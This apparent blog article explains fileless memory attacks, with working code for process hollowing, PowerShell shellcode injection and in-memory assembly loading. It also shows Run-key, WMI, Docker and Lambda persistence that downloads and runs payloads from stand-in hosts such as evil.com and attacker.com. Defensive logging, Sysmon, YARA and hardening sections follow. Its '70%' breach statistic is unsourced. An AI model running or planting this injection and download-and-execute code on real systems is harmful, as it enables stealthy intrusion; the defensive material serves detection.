Zoom image will be displayed
Imagine a thief who sneaks into your house, moves things around, steals valuable items, and leaves without touching anything or leaving any fingerprints. That’s how living memory attacks work on computers , they run only in the computer’s memory (RAM) and leave no clues on the hard drive, so regular antivirus programs can’t find them.
In 2025, these “fileless” attacks have become the preferred method for Advanced Persistent Threat (APT) groups and sophisticated cybercriminals. According to recent threat intelligence, over 70% of successful enterprise breaches now involve some form of memory-only execution. But what exactly are these attacks, and why are they so effective?
Living memory attacks, also known as fileless attacks, are malicious techniques that execute code directly in a computer’s RAM without writing files to the disk. Think of your computer’s memory (RAM) as a whiteboard that gets erased every time you restart your computer. Traditional malware writes itself onto your hard drive , but memory attacks only use the whiteboard, making them incredibly hard to detect and impossible to find after a reboot.
They are hard to catch because they don’t leave files on the disk, so most antivirus programs miss them. They don’t leave permanent evidence, making it hard to investigate. They often use trusted system tools to do harm, so nothing seems suspicious. They don’t add new programs, which helps them bypass security filters. And they can stay hidden by using normal system features like the registry or scheduled tasks .
Process hollowing is like a digital body snatcher movie. An attacker starts a legitimate process (like notepad.exe) but then scoops out all its original code and replaces it with malicious code, while keeping the process name and appearance intact .
How It Works :
Process Hollowing Implementation:
// Simplified Process Hollowing
BOOL CreateHollowProcess(LPCSTR targetPath, LPVOID maliciousCode, SIZE_T codeSize) {
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si); // Step 1: Create target process in suspended state
if (!CreateProcess(targetPath, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
return FALSE;
}
// Step 2: Get process context and PEB address
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
DWORD pebAddress;
ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Ebx + 8),
&pebAddress, 4, NULL);
// Step 3: Unmap original executable
NtUnmapViewOfSection(pi.hProcess, (PVOID)pebAddress);
// Step 4: Allocate memory and inject payload
LPVOID newImageBase = VirtualAllocEx(pi.hProcess, (LPVOID)pebAddress,
codeSize, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, newImageBase, maliciousCode, codeSize, NULL);
// Step 5: Resume execution
ResumeThread(pi.hThread);
return TRUE;
}
Reflective DLL loading cuts out the Windows loader entirely — it implements a custom loader that can load a DLL directly from memory without ever touching the file system.
Key Concept: Instead of using Windows’ LoadLibrary() function which reads from disk, reflective DLL loading manually parses PE headers, resolves imports, and calls DllMain , all in memory.
PowerShell is the Swiss Army knife of Windows administration, and attackers love it because it’s pre-installed, trusted, and incredibly powerful.
Advanced PowerShell Memory Techniques:
# Memory-only .NET assembly execution
function Invoke-MemoryAssembly {
param([string]$Url, [string]$TypeName, [string]$MethodName) # Download assembly directly into memory
$webClient = New-Object System.Net.WebClient
$assemblyBytes = $webClient.DownloadData($Url)
# Load and execute without touching disk
$assembly = [System.Reflection.Assembly]::Load($assemblyBytes)
$type = $assembly.GetType($TypeName)
$method = $type.GetMethod($MethodName)
return $method.Invoke($null, @())
}
# Process injection using PowerShell
function Invoke-ProcessInjection {
param([int]$ProcessId, [byte[]]$Shellcode)
$processHandle = [Kernel32]::OpenProcess(0x001F0FFF, $false, $ProcessId)
$memoryAddress = [Kernel32]::VirtualAllocEx($processHandle, [IntPtr]::Zero,
$Shellcode.Length, 0x3000, 0x40)
[Kernel32]::WriteProcessMemory($processHandle, $memoryAddress,
$Shellcode, $Shellcode.Length, [ref]$bytesWritten)
[Kernel32]::CreateRemoteThread($processHandle, [IntPtr]::Zero, 0,
$memoryAddress, [IntPtr]::Zero, 0, [IntPtr]::Zero)
}
# P/Invoke declarations for Windows API access
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public static class Kernel32 {
[DllImport("kernel32.dll")] public static extern IntPtr OpenProcess(uint access, bool inherit, int pid);
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr addr, uint size, uint allocType, uint protect);
[DllImport("kernel32.dll")] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr addr, byte[] buffer, int size, out int written);
[DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr threadAttr, uint stackSize, IntPtr startAddr, IntPtr param, uint flags, IntPtr threadId);
}
"@
Traditional malware achieves persistence by copying files to startup folders. Fileless persistence uses the system’s own legitimate mechanisms.
Registry-Based Persistence:
# Store Base64-encoded payload directly in registry
$payload = "IEX (New-Object Net.WebClient).DownloadString('https://evil.com/stage2.ps1')"
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "SecurityUpdate" -Value "powershell.exe -WindowStyle Hidden -EncodedCommand $encoded"WMI Event Subscription Persistence:
# Create persistent WMI event that triggers periodically
$filterName = "SystemHealthMonitor"
$consumerName = "SystemHealthService"$filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{
Name = $filterName
EventNameSpace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA 'Win32_PerfRawData_PerfOS_System'"
}
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{
Name = $consumerName
CommandLineTemplate = "powershell.exe -WindowStyle Hidden -Command IEX (New-Object Net.WebClient).DownloadString('https://attacker.com/payload.ps1')"
}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{
Filter = $filter; Consumer = $consumer
}
Attack Chain:
Technique Stack:
Zoom image will be displayed
1. Enhanced PowerShell Logging:
# Enable comprehensive PowerShell logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -Name "EnableTranscripting" -Value 1
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 12. Sysmon Configuration for Memory Attacks:
<Sysmon schemaversion="13.0">
<EventFiltering>
<!-- Process Creation with Suspended Flag -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">CREATE_SUSPENDED</CommandLine>
</ProcessCreate> <!-- Unusual Process Access -->
<ProcessAccess onmatch="include">
<GrantedAccess condition="is">0x1F0FFF</GrantedAccess>
<GrantedAccess condition="is">0x1FFFFF</GrantedAccess>
</ProcessAccess>
<!-- WMI Event Consumers -->
<WmiEvent onmatch="include">
<Operation condition="is">Created</Operation>
<Consumer condition="contains">CommandLineEventConsumer</Consumer>
</WmiEvent>
</EventFiltering>
</Sysmon>
3. Memory Analysis Techniques:
YARA Rules for Memory Scanning:
rule ProcessHollowing_Indicators {
meta:
description = "Detects process hollowing artifacts in memory"
author = "Security Team" strings:
$api1 = "NtUnmapViewOfSection"
$api2 = "VirtualAllocEx"
$api3 = "WriteProcessMemory"
$api4 = "CREATE_SUSPENDED"
condition:
3 of them
}
rule ReflectiveDLL_Loading {
meta:
description = "Detects reflective DLL loading patterns"
strings:
$header = { 4D 5A ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 50 45 }
$loader = "ReflectiveLoader"
$export = "DllMain"
condition:
$header at 0 and ($loader or $export)
}
PowerShell Security Hardening:
# Restrict PowerShell execution policy
Set-ExecutionPolicy AllSigned -Scope LocalMachine -Force# Enable Constrained Language Mode
$env:__PSLockdownPolicy = 4
# Disable PowerShell v2 (legacy version)
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root
Registry Monitoring :
# Monitor critical registry keys for unauthorized modifications
$registryPaths = @(
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
)foreach ($path in $registryPaths) {
Register-WmiEvent -Query "SELECT * FROM RegistryKeyChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND KeyPath='SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run'" -Action {
Write-EventLog -LogName "Application" -Source "SecurityMonitor" -EventId 1001 -Message "Registry modification detected: $($Event.SourceEventArgs.NewEvent.KeyPath)"
}
}
Empire PowerShell Framework:
Cobalt Strike:
Container-Based Persistence:
# Memory-only container persistence
docker run -d --privileged --pid=host --name system-monitor \
alpine:latest /bin/sh -c "while true; do
wget -qO- https://attacker.com/check | sh;
sleep 300;
done"Serverless Function Abuse:
# AWS Lambda memory-based persistence
import json, urllib.request, base64def lambda_handler(event, context):
# Download and execute payload from memory
response = urllib.request.urlopen('https://attacker.com/payload.py')
payload = response.read().decode('utf-8')
exec(compile(base64.b64decode(payload), '<string>', 'exec'))
return {'statusCode': 200, 'body': json.dumps('System check completed')}
Free/Open Source:
Commercial:
Living memory attacks represent a fundamental paradigm shift in cybersecurity. The traditional perimeter-based security model is obsolete when attackers can operate entirely within legitimate system processes, using trusted tools and leaving no permanent footprints.
For security professionals, red teamers, and penetration testers, these techniques represent both a powerful testing methodology and a critical skill set for understanding modern threats. The key is using this knowledge responsibly — to strengthen defenses, not to cause harm.
The invisible war is being fought in the RAM of our computers, in the legitimate processes we trust, and through the administrative tools we depend on. Success in this battle requires understanding both the art of attack and the science of defense.